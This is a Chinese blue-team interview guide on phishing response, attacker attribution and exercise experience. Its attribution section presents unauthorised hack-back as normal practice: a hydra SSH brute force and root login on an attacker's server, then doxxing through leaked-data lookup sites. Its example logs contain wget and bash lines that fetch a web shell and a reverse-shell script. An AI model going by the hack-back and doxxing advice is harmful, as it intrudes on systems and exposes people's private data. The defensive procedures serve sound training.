URL: http://example-secure.com-verify.com/login.php威胁等级: 高危标签: 钓鱼网站、欺诈、恶意软件首次发现: 2026-03-29关联域名: example-secure.com-verify.com关联IP: 45.33.22.11域名注册商: Namecheap注册时间: 2026-03-29
*奇安信威胁情报中心:*
URL分类: 钓鱼网站仿冒对象: company.com恶意类型: 钓鱼登录页面
关键信息提取:
- 恶意域名:
example-secure.com-verify.com - 恶意IP:
45.33.22.11 - 域名注册时间:2026-03-29(近期注册)
第二步:屏蔽恶意站点访问
原理:屏蔽办公区域对恶意站点的访问,防止有人不小心点击。可以在防火墙上添加规则,或者通过DNS劫持的方式。
举个例子,在防火墙上添加阻断规则:
防火墙规则:
# 在核心防火墙上添加访问控制规则access-list 101 deny ip any host 45.33.22.11access-list 101 deny ip any host example-secure.com-verify.comaccess-list 101 permit ip any any
*DNS劫持:*
# 在内部DNS服务器上添加解析记录,将恶意域名指向内部警告页面echo "45.33.22.11 example-secure.com-verify.com" >> /etc/hosts
# 或者在DNS服务器上配置响应策略zone "example-secure.com-verify.com" { type master; file "/etc/bind/db.block";};
# db.block文件内容$TTL 86400@ IN SOA localhost. root.localhost. ( 2024011501 ; Serial 3600 ; Refresh 1800 ; Retry 604800 ; Expire 86400 ; Minimum)@ IN A 192.168.1.1 # 指向内部警告页面* IN A 192.168.1.1
邮件网关过滤:
# 在邮件网关中添加黑名单发件人黑名单: *@example-secure.com域名黑名单: example-secure.com-verify.com内容过滤规则: 包含"异常登录"、"立即验证"、"账户锁定"等关键词的邮件标记为垃圾
第三步:隔离收到邮件的用户终端
原理:隔离收到邮件的用户终端,断开网络,防止已经点击了链接的终端被控制。
举个例子,收到邮件的员工是张三,终端IP为192.168.1.100:
网络隔离:
# 在交换机上关闭端口interface gigabitethernet 0/10shutdowndescription 隔离终端-张三-钓鱼邮件
# 或在防火墙上阻断该IPaccess-list 101 deny ip host 192.168.1.100 any
终端检查:
# 检查浏览器历史记录,看是否访问过恶意链接cat /Users/zhangsan/Library/Application\ Support/Google/Chrome/Default/History
# 检查是否有新下载的文件ls -la ~/Downloads/
# 检查是否有可疑进程ps aux | grep -E "cmd|powershell|bash"
# 检查DNS缓存ipconfig /displaydns | findstr "example-secure"
第四步:样本分析
原理:对邮件进行样本分析,提取发件人IP、域名、附件样本,提交到威胁情报平台,帮助其他人防御。
举个例子,提取钓鱼邮件的关键信息:
邮件头分析:
Return-Path: <[email protected]>Received: from mail.example-secure.com (45.33.22.11) by mx.company.comReceived-SPF: fail (company.com: domain of [email protected] does not designate 45.33.22.11 as permitted sender)Authentication-Results: mx.company.com; spf=permerrorMessage-ID: <[email protected]>Date: Mon, 15 Jan 2026 14:30:00 +0800From: "IT Security" <[email protected]>To: "张三" <[email protected]>Subject: 紧急:您的邮箱账户存在异常登录,请立即验证!
提取的关键信息:
| 类型 | 信息 | | — | — | | 发件人IP | 45.33.22.11 | | 发件人域名 | example-secure.com | | 恶意域名 | example-secure.com-verify.com | | 恶意URL | http://example-secure.com-verify.com/login.php | | 目标邮箱 | [email protected] |
如果有附件(如恶意Word文档),进一步分析:
# 提取附件# 查看宏代码olevba malicious.doc
# 提取URLstrings malicious.doc | grep -E "http|https"
# 提取PE文件oledump.py -s 8 malicious.doc > payload.exe
# 分析PE文件strings payload.exe | grep -E "http|cmd|powershell"
提交威胁情报:
# 提交到微步在线curl -X POST "https://api.threatbook.cn/v3/url/submit" \ -d "apikey=xxx" \ -d "url=http://example-secure.com-verify.com/login.php"
# 提交到VirusTotalcurl -X POST "https://www.virustotal.com/api/v3/files" \ -H "x-apikey: xxx" \ -F "[email protected]"
参考回答
处理钓鱼邮件,我会先接入威胁情报平台扫描URL,看是否已被标记为恶意。然后屏蔽恶意站点访问,在防火墙上添加阻断规则,防止有人误点。接着隔离收到邮件的用户终端,断开网络,检查是否已受影响。之后提取邮件的发件人IP、域名、附件样本,提交到威胁情报平台,帮助其他人防御。最后进行全员安全意识培训,告诉大家如何识别钓鱼邮件。
15. 溯源思路
溯源是护网的高级能力,目标是找到攻击者的真实身份。
第一步:提取攻击者IP
原理:从设备告警、钓鱼邮件、木马样本中提取攻击者的IP地址。
举个例子,从各种来源提取IP:
安全设备告警:
告警时间: 2026-03-26 14:30:15告警类型: SQL注入源IP: 103.45.67.89目标IP: 192.168.1.100攻击载荷: union select username, password from users
*Web日志:*
# 查看Web访问日志,提取可疑IPtail -1000 /var/log/nginx/access.log | grep -E "union|select|union select"
103.45.67.89 - - [15/Jan/2024:14:30:15 +0800] "GET /news.php?id=1%20union%20select%20username,password%20from%20users HTTP/1.1" 200 1234
提取的IP列表:
103.45.67.89 # SQL注入攻击源IP
第二步:威胁情报查询
原理:去威胁情报平台查询这个IP的属性,看是代理服务器、跳板机、VPN还是云服务器。如果是云服务器,可以尝试联系云厂商获取购买者信息。
举个例子,将IP 103.45.67.89 提交到威胁情报平台:
微步在线查询结果:
IP: 103.45.67.89地理位置: 中国, 广东省, 深圳市ASN: AS12345运营商: 阿里云标签: 云服务器, 代理, 恶意软件C2首次发现: 2026-03-29最近活动: 2026-03-29关联域名: proxy.example.com威胁等级: 中危
奇安信威胁情报中心:
IP: 103.45.67.89IP类型: 云主机(阿里云)风险标签: 扫描、爆破、Web攻击历史解析域名: - proxy.example.com (2026-03-29) - vps-12345.aliyun.com (2026-03-29)
获取的信息:
- IP是阿里云服务器
- 可能是攻击者购买的VPS或代理节点
- 可以尝试联系阿里云获取购买者信息
联系云厂商(需合法流程):
尊敬的阿里云安全团队:
我司(XXX公司)在2026年3月28日遭受来自IP 103.45.67.89的网络攻击。攻击类型:SQL注入攻击时间:2026-03-29 14:30:15攻击日志:附后
请协助提供该IP的购买者信息,以便我司进行后续处理。
此致XXX公司安全团队
第三步:反向渗透
原理:对攻击者的服务器进行反向渗透。如果攻击者用跳板机,可以尝试拿下跳板机,查看桌面上的敏感文件、登录日志、历史命令,一步一步获取更多信息。
举个例子,假设攻击者用阿里云服务器103.45.67.89作为跳板,且该服务器开放了SSH服务:
端口扫描:
nmap -sV 103.45.67.89
输出:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.680/tcp open http nginx 1.14.0443/tcp open https nginx 1.14.08080/tcp open http-proxy Squid http proxy
发现漏洞(假设存在弱口令):
# SSH爆破尝试hydra -l root -P passwords.txt ssh://103.45.67.89
# 爆破成功[22][ssh] host: 103.45.67.89 login: root password: 123456
登录跳板机:
ssh [email protected]
查看历史命令:
cat ~/.bash_history
输出:
wget http://evil.com/shell.phpchmod +x shell.phpcurl http://target.com/news.php?id=1%20union%20select...nmap -sP 192.168.1.0/24ssh [email protected] /etc/passwd...
查看登录日志:
last
输出:
root pts/0 45.33.22.11 Mon Jan 15 14:00 still logged inroot pts/0 1.2.3.4 Mon Jan 15 10:00 - 12:00 (02:00)
获取攻击者真实IP:45.33.22.11
查看敏感文件:
ls -la ~/Desktop/cat ~/Desktop/notes.txt
输出:
攻击目标列表:- 192.168.1.100 (Web服务器)- 192.168.1.10 (数据库)- 192.168.1.20 (文件服务器)
漏洞利用工具:- sqlmap- nmap- hydra- msfconsole
账号密码:- root:123456- admin:admin123
提取更多信息:
- 攻击者真实IP:45.33.22.11
- 攻击者使用的工具
- 攻击者掌握的内部资产信息
- 攻击者保存的账号密码
第四步:蜜罐诱捕
原理:搭建蜜罐诱捕攻击者。蜜罐可以记录攻击者的操作,收集攻击手法和工具,甚至可以反制。
举个例子,搭建一个高交互蜜罐:
部署蜜罐:
# 使用HFish部署蜜罐docker run -d --name hfish -p 443:443 -p 8080:8080 -p 8081:8081 hfish/hfish
# 配置蜜罐服务# - SSH蜜罐: 22端口# - Web蜜罐: 80端口# - 数据库蜜罐: 3306端口
诱饵设置:
# 在公网发布虚假信息# 如:招聘网站发布“XX公司招聘运维工程师,负责服务器管理”# 在GitHub上传包含敏感信息的虚假代码库# 在论坛发布技术文章,其中包含蜜罐IP
攻击者上钩:
蜜罐日志 - 2026-03-29 15:00:00源IP: 45.33.22.11目标: SSH蜜罐 (22端口)操作: 尝试登录 root:123456结果: 登录成功(蜜罐允许)
蜜罐日志 - 2026-03-29 15:01:00命令: whoami输出: root
蜜罐日志 - 2026-03-29 15:02:00命令: cat /etc/passwd输出: root:x:0:0:root:/root:/bin/bash
蜜罐日志 - 2026-03-29 15:03:00命令: wget http://45.33.22.11/tools.sh下载文件: tools.sh
蜜罐日志 - 2026-03-29 15:04:00命令: bash tools.sh执行内容: 下载挖矿程序,反弹shell
收集到的信息:
- 攻击者真实IP:45.33.22.11
- 攻击者使用的工具:tools.sh
- 攻击者的攻击手法:挖矿木马、反弹shell
- 攻击者的C2服务器:45.33.22.11
第五步:社工库查找
原理:利用社工库查找关联信息。如果有攻击者的邮箱、手机号、用户名,可以通过社工库找到更多信息。
举个例子,从跳板机或蜜罐中提取到攻击者的信息:
提取到的信息:
邮箱: [email protected]用户名: evilhacker手机号: 13812345678GitHub账号: evilhacker
社工库查询:
查询邮箱: [email protected]关联信息: - 注册过知乎、微博、GitHub - 真实姓名: 张三 - 常用昵称: evilhacker - 其他邮箱: [email protected] - 手机号: 13812345678
查询手机号: 13812345678关联信息: - 归属地: 广东省深圳市 - 运营商: 中国移动 - 注册过微信、支付宝 - 真实姓名: 张三
查询GitHub: evilhacker关联信息: - 真实姓名: 张三 - 公司: 某安全公司 - 邮箱: [email protected] - 上传过攻击工具: sqlmap、nmap
完整攻击者画像:
姓名: 张三性别: 男年龄: 25地理位置: 广东省深圳市职业: 安全研究员/渗透测试工程师邮箱: [email protected], [email protected]手机: 13812345678GitHub: evilhacker社交账号: 知乎、微博、微信
参考回答
溯源从攻击痕迹开始,先找到攻击者IP,去威胁情报平台查询属性,看是云服务器还是代理节点。如果是云服务器,可以尝试联系云厂商获取购买者信息。如果拿下了跳板机,查看登录日志和历史命令,逐步找到攻击者真实IP。也可以搭建蜜罐诱捕攻击者,记录攻击者的操作手法和工具。最后通过社工库查找攻击者的邮箱、手机号等关联信息,形成完整画像。
第三部分:护网实战经验谈
一、护网期间的那些“坑”
- 薪资问题
目前市面上你能看到的招聘信息,99%都是中介。这些中介公司90%以上没有任何风险承担能力,甚至有些公司就是为了护网临时开的。所以签合同时,没有人能给你担保,包括你认识的那些大佬或者公众号大V。
选择公司的时候,优先选择口碑好的公司,就是那些没有拖欠薪资记录的公司。不要因为一点预付款就把自己卖了,重点看公司有没有经济实力,能不能在厂商尾款没有按时发的时候,自己垫付资金把工资发出来。
每年护网结束后,都会有人去要工资。希望今年不是你。
- 工作强度
护网期间通常是“白加黑”高强度值守。白班、夜班、倒班,连续两周甚至更长时间。要有心理准备,特别是夜班,对身体的消耗很大。
- 沟通能力
遇到不确定的告警,要及时与研判组、客户沟通,不要自作主张。有些新人看到告警就封IP,结果把正常业务也给封了,这是大忌。要养成“确认后再行动”的习惯。
- 持续学习
护网期间会暴露很多新漏洞、新手法,这是快速学习的好机会。要勤做笔记,把每天遇到的新东西记下来,事后总结复盘。护网结束的时候,你会发现自己的技术提升了一大截。
二、告警分析的实战技巧
- 如何应对海量告警
当告警量特别大的时候,不要想着一条一条分析。要优先关注高危告警,比如WebShell、命令执行、反弹shell、后门上传这些。对于攻击频率较高的IP,及时上报封堵,可以有效减少告警量。
同时,要学会用筛选条件缩小范围。比如只看状态码200的请求,因为404的基本上都是失败的。只看POST请求,因为很多攻击都用POST。只看返回包中包含敏感信息的,比如root、admin、password等。
- 如何判断真实攻击
判断告警是否为真实攻击,可以从这几个方面入手。
第一,查看请求包和响应包。SQL注入告警,就看请求包中有没有select、union、where这些关键字,响应包中有没有数据库错误信息。命令执行告警,就看请求包中有没有whoami、id、ls这些命令,响应包中有没有返回结果。
第二,以攻击IP为索引,查看从护网开始到现在这个IP的所有攻击行为。如果只有一次扫描,可能是误报;如果有完整的攻击链,从探测到利用到后门,那就是真实攻击。
第三,重点关注状态码200的响应包。200表示请求成功,但成功不一定代表攻击成功。还要看响应包的内容,比如命令执行的响应包中包含root,说明执行成功了。
第四,如果无法确定,可以复现。不用客户的网络,用自己的手机热点或者其他网络去访问目标,看payload是否能执行。
- 误报如何处理
确认是误报后,要做好事件记录,然后上报给研判组。如果是因为规则问题导致的误报,可以提出规则优化建议。比如某个正常的业务请求包含了特殊字符,触发了SQL注入规则,可以建议把这个IP加到白名单,或者优化正则表达式。
三、设备使用经验
- 天眼
天眼是奇安信的全流量检测产品,主要功能包括检测、溯源、响应。它有几个核心模块:分析平台用于态势感知和调查分析,流量传感器用于入侵检测和数据采集,文件威胁鉴定器用于静态和动态检测。
天眼的常用检索语法中,运算符有AND、OR、NOT,都需要大写。比如搜索某个IP的攻击告警:src_ip: "1.2.3.4"。天眼里面还有很多小工具,比如解码小工具,可以快速解码Base64、URL编码的payload。
- 态势感知
NGSOC态势感知用于全局监控与日志分析。可以查看告警日志、原始日志、终端日志。告警日志是安全设备产生的告警,原始日志是原始网络流量日志,终端日志是主机上的日志。三个维度结合,可以还原完整的攻击场景。
- 蜜罐
蜜罐用于诱捕与分析。部署一系列危险业务和端口,诱导攻击者进入。当攻击者扫描到蜜罐端口,访问蜜罐页面,就会留下记录。蜜罐可以记录攻击者的操作、工具、IP,用于溯源反制。
长亭的谛听蜜罐有统计分析功能,可以对攻击者进行人物画像;威胁日志功能,对各种日志进行收集;智学习功能,对真实业务进行学习然后生成相应的蜜罐部署。
- 雷池WAF
雷池WAF是基于nginx的Web应用防火墙,主要根据HTTP请求包中的host字段进行正则匹配拦截。它的主要功能包括:人机验证,拦截扫描器;动态防护,对前端源码加密;频率限制,对攻击IP进行封禁;IP分组,自动把恶意IP加入黑名单;智能AI分析,用大模型分析恶意数据包。
- 椒图
椒图是主机安全产品,可以配置针对服务器非白名单账号和登录IP的监控。在椒图平台,告警分析payload通常在请求包的请求头URL,或者在POST数据包中。威胁感知模块可以查看告警的全部信息。
写在最后
护网面试是对技术、经验和心态的综合考验
面试时,不仅要准确回答问题,更要展示你的思考过程和解决问题的逻辑。如果你能扛到AI安全的第七层,那AI安全就不再是加分项,而是你区别于其他人的核心竞争力。
护网期间,要记住三件事:遇到不确定的告警,先确认再行动;遇到紧急情况,先隔离再排查;遇到不会的问题,先思考再请教。
最后,祝大家面试顺利,护网成功。
(有意护网投简历的加v加群:JX-defends-ideals,备注2026年护网)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:金夏安全 金夏 金夏《【护网面经】蓝队面经分享(详细版)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论